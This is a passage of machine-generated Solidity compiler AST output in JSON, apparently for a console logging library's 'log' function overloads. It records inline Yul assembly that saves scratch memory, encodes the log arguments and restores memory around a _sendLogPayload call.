YulIdentifier","src":"261122:6:22"},"nativeSrc":"261122:16:22","nodeType":"YulFunctionCall","src":"261122:16:22"},"nativeSrc":"261122:16:22","nodeType":"YulExpressionStatement","src":"261122:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"261158:4:22","nodeType":"YulLiteral","src":"261158:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"261164:2:22","nodeType":"YulIdentifier","src":"261164:2:22"}],"functionName":{"name":"mstore","nativeSrc":"261151:6:22","nodeType":"YulIdentifier","src":"261151:6:22"},"nativeSrc":"261151:16:22","nodeType":"YulFunctionCall","src":"261151:16:22"},"nativeSrc":"261151:16:22","nodeType":"YulExpressionStatement","src":"261151:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"261187:4:22","nodeType":"YulLiteral","src":"261187:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"261193:2:22","nodeType":"YulIdentifier","src":"261193:2:22"}],"functionName":{"name":"mstore","nativeSrc":"261180:6:22","nodeType":"YulIdentifier","src":"261180:6:22"},"nativeSrc":"261180:16:22","nodeType":"YulFunctionCall","src":"261180:16:22"},"nativeSrc":"261180:16:22","nodeType":"YulExpressionStatement","src":"261180:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42384,"isOffset":false,"isSlot":false,"src":"261019:2:22","valueSize":1},{"declaration":42387,"isOffset":false,"isSlot":false,"src":"261048:2:22","valueSize":1},{"declaration":42390,"isOffset":false,"isSlot":false,"src":"261077:2:22","valueSize":1},{"declaration":42393,"isOffset":false,"isSlot":false,"src":"261106:2:22","valueSize":1},{"declaration":42396,"isOffset":false,"isSlot":false,"src":"261135:2:22","valueSize":1},{"declaration":42399,"isOffset":false,"isSlot":false,"src":"261164:2:22","valueSize":1},{"declaration":42402,"isOffset":false,"isSlot":false,"src":"261193:2:22","valueSize":1}],"id":42410,"nodeType":"InlineAssembly","src":"260983:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"259887:3:22","parameters":{"id":42381,"nodeType":"ParameterList","parameters":[{"constant":false,"id":42374,"mutability":"mutable","name":"p0","nameLocation":"259899:2:22","nodeType":"VariableDeclaration","scope":42412,"src":"259891:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42373,"name":"uint256","nodeType":"ElementaryTypeName","src":"259891:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42376,"mutability":"mutable","name":"p1","nameLocation":"259908:2:22","nodeType":"VariableDeclaration","scope":42412,"src":"259903:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":42375,"name":"bool","nodeType":"ElementaryTypeName","src":"259903:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":42378,"mutability":"mutable","name":"p2","nameLocation":"259920:2:22","nodeType":"VariableDeclaration","scope":42412,"src":"259912:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42377,"name":"bytes32","nodeType":"ElementaryTypeName","src":"259912:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":42380,"mutability":"mutable","name":"p3","nameLocation":"259932:2:22","nodeType":"VariableDeclaration","scope":42412,"src":"259924:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42379,"name":"uint256","nodeType":"ElementaryTypeName","src":"259924:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"259890:45:22"},"returnParameters":{"id":42382,"nodeType":"ParameterList","parameters":[],"src":"259950:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":42458,"nodeType":"FunctionDefinition","src":"261218:1530:22","nodes":[],"body":{"id":42457,"nodeType":"Block","src":"261290:1458:22","nodes":[],"statements":[{"assignments":[42424],"declarations":[{"constant":false,"id":42424,"mutability":"mutable","name":"m0","nameLocation":"261308:2:22","nodeType":"VariableDeclaration","scope":42457,"src":"261300:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42423,"name":"bytes32","nodeType":"ElementaryTypeName","src":"261300:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42425,"nodeType":"VariableDeclarationStatement","src":"261300:10:22"},{"assignments":[42427],"declarations":[{"constant":false,"id":42427,"mutability":"mutable","name":"m1","nameLocation":"261328:2:22","nodeType":"VariableDeclaration","scope":42457,"src":"261320:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42426,"name":"bytes32","nodeType":"ElementaryTypeName","src":"261320:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42428,"nodeType":"VariableDeclarationStatement","src":"261320:10:22"},{"assignments":[42430],"declarations":[{"constant":false,"id":42430,"mutability":"mutable","name":"m2","nameLocation":"261348:2:22","nodeType":"VariableDeclaration","scope":42457,"src":"261340:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42429,"name":"bytes32","nodeType":"ElementaryTypeName","src":"261340:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42431,"nodeType":"VariableDeclarationStatement","src":"261340:10:22"},{"assignments":[42433],"declarations":[{"constant":false,"id":42433,"mutability":"mutable","name":"m3","nameLocation":"261368:2:22","nodeType":"VariableDeclaration","scope":42457,"src":"261360:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42432,"name":"bytes32","nodeType":"ElementaryTypeName","src":"261360:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42434,"nodeType":"VariableDeclarationStatement","src":"261360:10:22"},{"assignments":[42436],"declarations":[{"constant":false,"id":42436,"mutability":"mutable","name":"m4","nameLocation":"261388:2:22","nodeType":"VariableDeclaration","scope":42457,"src":"261380:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42435,"name":"bytes32","nodeType":"ElementaryTypeName","src":"261380:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42437,"nodeType":"VariableDeclarationStatement","src":"261380:10:22"},{"assignments":[42439],"declarations":[{"constant":false,"id":42439,"mutability":"mutable","name":"m5","nameLocation":"261408:2:22","nodeType":"VariableDeclaration","scope":42457,"src":"261400:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42438,"name":"bytes32","nodeType":"ElementaryTypeName","src":"261400:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42440,"nodeType":"VariableDeclarationStatement","src":"261400:10:22"},{"assignments":[42442],"declarations":[{"constant":false,"id":42442,"mutability":"mutable","name":"m6","nameLocation":"261428:2:22","nodeType":"VariableDeclaration","scope":42457,"src":"261420:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42441,"name":"bytes32","nodeType":"ElementaryTypeName","src":"261420:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42443,"nodeType":"VariableDeclarationStatement","src":"261420:10:22"},{"assignments":[42445],"declarations":[{"constant":false,"id":42445,"mutability":"mutable","name":"m7","nameLocation":"261448:2:22","nodeType":"VariableDeclaration","scope":42457,"src":"261440:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42444,"name":"bytes32","nodeType":"ElementaryTypeName","src":"261440:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42446,"nodeType":"VariableDeclarationStatement","src":"261440:10:22"},{"assignments":[42448],"declarations":[{"constant":false,"id":42448,"mutability":"mutable","name":"m8","nameLocation":"261468:2:22","nodeType":"VariableDeclaration","scope":42457,"src":"261460:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42447,"name":"bytes32","nodeType":"ElementaryTypeName","src":"261460:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42449,"nodeType":"VariableDeclarationStatement","src":"261460:10:22"},{"AST":{"nativeSrc":"261489:924:22","nodeType":"YulBlock","src":"261489:924:22","statements":[{"body":{"nativeSrc":"261532:313:22","nodeType":"YulBlock","src":"261532:313:22","statements":[{"nativeSrc":"261550:15:22","nodeType":"YulVariableDeclaration","src":"261550:15:22","value":{"kind":"number","nativeSrc":"261564:1:22","nodeType":"YulLiteral","src":"261564:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"261554:6:22","nodeType":"YulTypedName","src":"261554:6:22","type":""}]},{"body":{"nativeSrc":"261635:40:22","nodeType":"YulBlock","src":"261635:40:22","statements":[{"body":{"nativeSrc":"261664:9:22","nodeType":"YulBlock","src":"261664:9:22","statements":[{"nativeSrc":"261666:5:22","nodeType":"YulBreak","src":"261666:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"261652:6:22","nodeType":"YulIdentifier","src":"261652:6:22"},{"name":"w","nativeSrc":"261660:1:22","nodeType":"YulIdentifier","src":"261660:1:22"}],"functionName":{"name":"byte","nativeSrc":"261647:4:22","nodeType":"YulIdentifier","src":"261647:4:22"},"nativeSrc":"261647:15:22","nodeType":"YulFunctionCall","src":"261647:15:22"}],"functionName":{"name":"iszero","nativeSrc":"261640:6:22","nodeType":"YulIdentifier","src":"261640:6:22"},"nativeSrc":"261640:23:22","nodeType":"YulFunctionCall","src":"261640:23:22"},"nativeSrc":"261637:36:22","nodeType":"YulIf","src":"261637:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"261592:6:22","nodeType":"YulIdentifier","src":"261592:6:22"},{"kind":"number","nativeSrc":"261600:4:22","nodeType":"YulLiteral","src":"261600:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"261589:2:22","nodeType":"YulIdentifier","src":"261589:2:22"},"nativeSrc":"261589:16:22","nodeType":"YulFunctionCall","src":"261589:16:22"},"nativeSrc":"261582:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"261606:28:22","nodeType":"YulBlock","src":"261606:28:22","statements":[{"nativeSrc":"261608:24:22","nodeType":"YulAssignment","src":"261608:24:22","value":{"arguments":[{"name":"length","nativeSrc":"261622:6:22","nodeType":"YulIdentifier","src":"261622:6:22"},{"kind":"number","nativeSrc":"261630:1:22","nodeType":"YulLiteral","src":"261630:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"261618:3:22","nodeType":"YulIdentifier","src":"261618:3:22"},"nativeSrc":"261618:14:22","nodeType":"YulFunctionCall","src":"261618:14:22"},"variableNames":[{"name":"length","nativeSrc":"261608:6:22","nodeType":"YulIdentifier","src":"261608:6:22"}]}]},"pre":{"nativeSrc":"261586:2:22","nodeType":"YulBlock","src":"261586:2:22","statements":[]},"src":"261582:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"261699:3:22","nodeType":"YulIdentifier","src":"261699:3:22"},{"name":"length","nativeSrc":"261704:6:22","nodeType":"YulIdentifier","src":"261704:6:22"}],"functionName":{"name":"mstore","nativeSrc":"261692:6:22","nodeType":"YulIdentifier","src":"261692:6:22"},"nativeSrc":"261692:19:22","nodeType":"YulFunctionCall","src":"261692:19:22"},"nativeSrc":"261692:19:22","nodeType":"YulExpressionStatement","src":"261692:19:22"},{"nativeSrc":"261728:37:22","nodeType":"YulVariableDeclaration","src":"261728:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"261745:3:22","nodeType":"YulLiteral","src":"261745:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"261754:1:22","nodeType":"YulLiteral","src":"261754:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"261757:6:22","nodeType":"YulIdentifier","src":"261757:6:22"}],"functionName":{"name":"shl","nativeSrc":"261750:3:22","nodeType":"YulIdentifier","src":"261750:3:22"},"nativeSrc":"261750:14:22","nodeType":"YulFunctionCall","src":"261750:14:22"}],"functionName":{"name":"sub","nativeSrc":"261741:3:22","nodeType":"YulIdentifier","src":"261741:3:22"},"nativeSrc":"261741:24:22","nodeType":"YulFunctionCall","src":"261741:24:22"},"variables":[{"name":"shift","nativeSrc":"261732:5:22","nodeType":"YulTypedName","src":"261732:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"261793:3:22","nodeType":"YulIdentifier","src":"261793:3:22"},{"kind":"number","nativeSrc":"261798:4:22","nodeType":"YulLiteral","src":"261798:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"261789:3:22","nodeType":"YulIdentifier","src":"261789:3:22"},"nativeSrc":"261789:14:22","nodeType":"YulFunctionCall","src":"261789:14:22"},{"arguments":[{"name":"shift","nativeSrc":"261809:5:22","nodeType":"YulIdentifier","src":"261809:5:22"},{"arguments":[{"name":"shift","nativeSrc":"261820:5:22","nodeType":"YulIdentifier","src":"261820:5:22"},{"name":"w","nativeSrc":"261827:1:22","nodeType":"YulIdentifier","src":"261827:1:22"}],"functionName":{"name":"shr","nativeSrc":"261816:3:22","nodeType":"YulIdentifier","src":"261816:3:22"},"nativeSrc":"261816:13:22","nodeType":"YulFunctionCall","src":"261816:13:22"}],"functionName":{"name":"shl","nativeSrc":"261805:3:22","nodeType":"YulIdentifier","src":"261805:3:22"},"nativeSrc":"261805:25:22","nodeType":"YulFunctionCall","src":"261805:25:22"}],"functionName":{"name":"mstore","nativeSrc":"261782:6:22","nodeType":"YulIdentifier","src":"261782:6:22"},"nativeSrc":"261782:49:22","nodeType":"YulFunctionCall","src":"261782:49:22"},"nativeSrc":"261782:49:22","nodeType":"YulExpressionStatement","src":"261782:49:22"}]},"name":"writeString","nativeSrc":"261503:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"261524:3:22","nodeType":"YulTypedName","src":"261524:3:22","type":""},{"name":"w","nativeSrc":"261529:1:22","nodeType":"YulTypedName","src":"261529:1:22","type":""}],"src":"261503:342:22"},{"nativeSrc":"261858:17:22","nodeType":"YulAssignment","src":"261858:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"261870:4:22","nodeType":"YulLiteral","src":"261870:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"261864:5:22","nodeType":"YulIdentifier","src":"261864:5:22"},"nativeSrc":"261864:11:22","nodeType":"YulFunctionCall","src":"261864:11:22"},"variableNames":[{"name":"m0","nativeSrc":"261858:2:22","nodeType":"YulIdentifier","src":"261858:2:22"}]},{"nativeSrc":"261888:17:22","nodeType":"YulAssignment","src":"261888:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"261900:4:22","nodeType":"YulLiteral","src":"261900:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"261894:5:22","nodeType":"YulIdentifier","src":"261894:5:22"},"nativeSrc":"261894:11:22","nodeType":"YulFunctionCall","src":"261894:11:22"},"variableNames":[{"name":"m1","nativeSrc":"261888:2:22","nodeType":"YulIdentifier","src":"261888:2:22"}]},{"nativeSrc":"261918:17:22","nodeType":"YulAssignment","src":"261918:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"261930:4:22","nodeType":"YulLiteral","src":"261930:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"261924:5:22","nodeType":"YulIdentifier","src":"261924:5:22"},"nativeSrc":"261924:11:22","nodeType":"YulFunctionCall","src":"261924:11:22"},"variableNames":[{"name":"m2","nativeSrc":"261918:2:22","nodeType":"YulIdentifier","src":"261918:2:22"}]},{"nativeSrc":"261948:17:22","nodeType":"YulAssignment","src":"261948:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"261960:4:22","nodeType":"YulLiteral","src":"261960:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"261954:5:22","nodeType":"YulIdentifier","src":"261954:5:22"},"nativeSrc":"261954:11:22","nodeType":"YulFunctionCall","src":"261954:11:22"},"variableNames":[{"name":"m3","nativeSrc":"261948:2:22","nodeType":"YulIdentifier","src":"261948:2:22"}]},{"nativeSrc":"261978:17:22","nodeType":"YulAssignment","src":"261978:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"261990:4:22","nodeType":"YulLiteral","src":"261990:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"261984:5:22","nodeType":"YulIdentifier","src":"261984:5:22"},"nativeSrc":"261984:11:22","nodeType":"YulFunctionCall","src":"261984:11:22"},"variableNames":[{"name":"m4","nativeSrc":"261978:2:22","nodeType":"YulIdentifier","src":"261978:2:22"}]},{"nativeSrc":"262008:17:22","nodeType":"YulAssignment","src":"262008:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"262020:4:22","nodeType":"YulLiteral","src":"262020:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"262014:5:22","nodeType":"YulIdentifier","src":"262014:5:22"},"nativeSrc":"262014:11:22","nodeType":"YulFunctionCall","src":"262014:11:22"},"variableNames":[{"name":"m5","nativeSrc":"262008:2:22","nodeType":"YulIdentifier","src":"262008:2:22"}]},{"nativeSrc":"262038:17:22","nodeType":"YulAssignment","src":"262038:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"262050:4:22","nodeType":"YulLiteral","src":"262050:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"262044:5:22","nodeType":"YulIdentifier","src":"262044:5:22"},"nativeSrc":"262044:11:22","nodeType":"YulFunctionCall","src":"262044:11:22"},"variableNames":[{"name":"m6","nativeSrc":"262038:2:22","nodeType":"YulIdentifier","src":"262038:2:22"}]},{"nativeSrc":"262068:17:22","nodeType":"YulAssignment","src":"262068:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"262080:4:22","nodeType":"YulLiteral","src":"262080:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"262074:5:22","nodeType":"YulIdentifier","src":"262074:5:22"},"nativeSrc":"262074:11:22","nodeType":"YulFunctionCall","src":"262074:11:22"},"variableNames":[{"name":"m7","nativeSrc":"262068:2:22","nodeType":"YulIdentifier","src":"262068:2:22"}]},{"nativeSrc":"262098:18:22","nodeType":"YulAssignment","src":"262098:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"262110:5:22","nodeType":"YulLiteral","src":"262110:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"262104:5:22","nodeType":"YulIdentifier","src":"262104:5:22"},"nativeSrc":"262104:12:22","nodeType":"YulFunctionCall","src":"262104:12:22"},"variableNames":[{"name":"m8","nativeSrc":"262098:2:22","nodeType":"YulIdentifier","src":"262098:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"262198:4:22","nodeType":"YulLiteral","src":"262198:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"262204:10:22","nodeType":"YulLiteral","src":"262204:10:22","type":"","value":"0x68c8b8bd"}],"functionName":{"name":"mstore","nativeSrc":"262191:6:22","nodeType":"YulIdentifier","src":"262191:6:22"},"nativeSrc":"262191:24:22","nodeType":"YulFunctionCall","src":"262191:24:22"},"nativeSrc":"262191:24:22","nodeType":"YulExpressionStatement","src":"262191:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"262235:4:22","nodeType":"YulLiteral","src":"262235:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"262241:2:22","nodeType":"YulIdentifier","src":"262241:2:22"}],"functionName":{"name":"mstore","nativeSrc":"262228:6:22","nodeType":"YulIdentifier","src":"262228:6:22"},"nativeSrc":"262228:16:22","nodeType":"YulFunctionCall","src":"262228:16:22"},"nativeSrc":"262228:16:22","nodeType":"YulExpressionStatement","src":"262228:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"262264:4:22","nodeType":"YulLiteral","src":"262264:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"262270:2:22","nodeType":"YulIdentifier","src":"262270:2:22"}],"functionName":{"name":"mstore","nativeSrc":"262257:6:22","nodeType":"YulIdentifier","src":"262257:6:22"},"nativeSrc":"262257:16:22","nodeType":"YulFunctionCall","src":"262257:16:22"},"nativeSrc":"262257:16:22","nodeType":"YulExpressionStatement","src":"262257:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"262293:4:22","nodeType":"YulLiteral","src":"262293:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"262299:4:22","nodeType":"YulLiteral","src":"262299:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"262286:6:22","nodeType":"YulIdentifier","src":"262286:6:22"},"nativeSrc":"262286:18:22","nodeType":"YulFunctionCall","src":"262286:18:22"},"nativeSrc":"262286:18:22","nodeType":"YulExpressionStatement","src":"262286:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"262324:4:22","nodeType":"YulLiteral","src":"262324:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"262330:4:22","nodeType":"YulLiteral","src":"262330:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"262317:6:22","nodeType":"YulIdentifier","src":"262317:6:22"},"nativeSrc":"262317:18:22","nodeType":"YulFunctionCall","src":"262317:18:22"},"nativeSrc":"262317:18:22","nodeType":"YulExpressionStatement","src":"262317:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"262360:4:22","nodeType":"YulLiteral","src":"262360:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"262366:2:22","nodeType":"YulIdentifier","src":"262366:2:22"}],"functionName":{"name":"writeString","nativeSrc":"262348:11:22","nodeType":"YulIdentifier","src":"262348:11:22"},"nativeSrc":"262348:21:22","nodeType":"YulFunctionCall","src":"262348:21:22"},"nativeSrc":"262348:21:22","nodeType":"YulExpressionStatement","src":"262348:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"262394:4:22","nodeType":"YulLiteral","src":"262394:4:22","type":"","value":"0xe0"},{"name":"p3","nativeSrc":"262400:2:22","nodeType":"YulIdentifier","src":"262400:2:22"}],"functionName":{"name":"writeString","nativeSrc":"262382:11:22","nodeType":"YulIdentifier","src":"262382:11:22"},"nativeSrc":"262382:21:22","nodeType":"YulFunctionCall","src":"262382:21:22"},"nativeSrc":"262382:21:22","nodeType":"YulExpressionStatement","src":"262382:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42424,"isOffset":false,"isSlot":false,"src":"261858:2:22","valueSize":1},{"declaration":42427,"isOffset":false,"isSlot":false,"src":"261888:2:22","valueSize":1},{"declaration":42430,"isOffset":false,"isSlot":false,"src":"261918:2:22","valueSize":1},{"declaration":42433,"isOffset":false,"isSlot":false,"src":"261948:2:22","valueSize":1},{"declaration":42436,"isOffset":false,"isSlot":false,"src":"261978:2:22","valueSize":1},{"declaration":42439,"isOffset":false,"isSlot":false,"src":"262008:2:22","valueSize":1},{"declaration":42442,"isOffset":false,"isSlot":false,"src":"262038:2:22","valueSize":1},{"declaration":42445,"isOffset":false,"isSlot":false,"src":"262068:2:22","valueSize":1},{"declaration":42448,"isOffset":false,"isSlot":false,"src":"262098:2:22","valueSize":1},{"declaration":42414,"isOffset":false,"isSlot":false,"src":"262241:2:22","valueSize":1},{"declaration":42416,"isOffset":false,"isSlot":false,"src":"262270:2:22","valueSize":1},{"declaration":42418,"isOffset":false,"isSlot":false,"src":"262366:2:22","valueSize":1},{"declaration":42420,"isOffset":false,"isSlot":false,"src":"262400:2:22","valueSize":1}],"id":42450,"nodeType":"InlineAssembly","src":"261480:933:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":42452,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"262438:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":42453,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"262444:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":42451,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"262422:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":42454,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"262422:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":42455,"nodeType":"ExpressionStatement","src":"262422:28:22"},{"AST":{"nativeSrc":"262469:273:22","nodeType":"YulBlock","src":"262469:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"262490:4:22","nodeType":"YulLiteral","src":"262490:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"262496:2:22","nodeType":"YulIdentifier","src":"262496:2:22"}],"functionName":{"name":"mstore","nativeSrc":"262483:6:22","nodeType":"YulIdentifier","src":"262483:6:22"},"nativeSrc":"262483:16:22","nodeType":"YulFunctionCall","src":"262483:16:22"},"nativeSrc":"262483:16:22","nodeType":"YulExpressionStatement","src":"262483:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"262519:4:22","nodeType":"YulLiteral","src":"262519:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"262525:2:22","nodeType":"YulIdentifier","src":"262525:2:22"}],"functionName":{"name":"mstore","nativeSrc":"262512:6:22","nodeType":"YulIdentifier","src":"262512:6:22"},"nativeSrc":"262512:16:22","nodeType":"YulFunctionCall","src":"262512:16:22"},"nativeSrc":"262512:16:22","nodeType":"YulExpressionStatement","src":"262512:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"262548:4:22","nodeType":"YulLiteral","src":"262548:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"262554:2:22","nodeType":"YulIdentifier","src":"262554:2:22"}],"functionName":{"name":"mstore","nativeSrc":"262541:6:22","nodeType":"YulIdentifier","src":"262541:6:22"},"nativeSrc":"262541:16:22","nodeType":"YulFunctionCall","src":"262541:16:22"},"nativeSrc":"262541:16:22","nodeType":"YulExpressionStatement","src":"262541:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"262577:4:22","nodeType":"YulLiteral","src":"262577:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"262583:2:22","nodeType":"YulIdentifier","src":"262583:2:22"}],"functionName":{"name":"mstore","nativeSrc":"262570:6:22","nodeType":"YulIdentifier","src":"262570:6:22"},"nativeSrc":"262570:16:22","nodeType":"YulFunctionCall","src":"262570:16:22"},"nativeSrc":"262570:16:22","nodeType":"YulExpressionStatement","src":"262570:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"262606:4:22","nodeType":"YulLiteral","src":"262606:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"262612:2:22","nodeType":"YulIdentifier","src":"262612:2:22"}],"functionName":{"name":"mstore","nativeSrc":"262599:6:22","nodeType":"YulIdentifier","src":"262599:6:22"},"nativeSrc":"262599:16:22","nodeType":"YulFunctionCall","src":"262599:16:22"},"nativeSrc":"262599:16:22","nodeType":"YulExpressionStatement","src":"262599:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"262635:4:22","nodeType":"YulLiteral","src":"262635:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"262641:2:22","nodeType":"YulIdentifier","src":"262641:2:22"}],"functionName":{"name":"mstore","nativeSrc":"262628:6:22","nodeType":"YulIdentifier","src":"262628:6:22"},"nativeSrc":"262628:16:22","nodeType":"YulFunctionCall","src":"262628:16:22"},"nativeSrc":"262628:16:22","nodeType":"YulExpressionStatement","src":"262628:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"262664:4:22","nodeType":"YulLiteral","src":"262664:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"262670:2:22","nodeType":"YulIdentifier","src":"262670:2:22"}],"functionName":{"name":"mstore","nativeSrc":"262657:6:22","nodeType":"YulIdentifier","src":"262657:6:22"},"nativeSrc":"262657:16:22","nodeType":"YulFunctionCall","src":"262657:16:22"},"nativeSrc":"262657:16:22","nodeType":"YulExpressionStatement","src":"262657:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"262693:4:22","nodeType":"YulLiteral","src":"262693:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"262699:2:22","nodeType":"YulIdentifier","src